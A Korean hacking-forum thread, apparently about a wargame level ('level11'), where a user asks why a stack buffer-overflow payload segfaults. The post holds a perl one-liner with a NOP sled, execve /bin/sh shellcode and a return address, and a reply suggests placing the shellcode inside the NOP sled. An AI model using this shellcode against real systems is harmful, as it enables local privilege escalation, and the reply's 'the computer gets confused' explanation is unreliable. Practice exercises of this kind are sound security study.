level11 에서 `perl -e 'print "\x90"x243,"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80","\x10\xf9\xff\xbf"'`
이걸 쓰면 세그맨테이션오류가 나는 이유가 뭔지 궁금합니다 ..
제 짧은 지식 도와주세요 고수님들 ㅠㅠㅠㅠ
Hit : 3092 Date : 2011/01/30 10:05
별빛을담아
크흐... 이분도 NOP썰매를 이용하시는군요 ㅋ
저도 형들에게 처음 보고 배운건데 ㅋ
저도 한번 저렇게 넣었는데 한번은 성공하고 그 이후에는 다 실패했습니다.
그 이후에 제가 한 대처법은 NOP사이에다가 쉘코드를 넣었지요.
이 점을 미루어 볼때 제 생각은 아마 컴퓨터가 일시적인 착각을 하는게 아닐까 싶네요
짧게 말하자면 내가 넣은 공격코드와 정상적인 코드가 충돌을 일으킨거지요.
따라서 일종의 쿠션 역활을 하는 NOP 사이에 쉘코드를 넣음으로써 충돌을 막은 것이지요.
예를 들자면...
NOP 243byte + Shellcode 25byte + ret 4byte = 272
...가 아니라
NOP 100byte + Shellcode 25byte + NOP 143byte + ret 4byte = 272
이런 형식으로 말이지요.
덮어쓸 ret 주소는 내가 입력한 NOP중 아무 곳에 떨궈주면 됩니다. 대신 쉘코드 앞이어야 하겠죠 ㅎ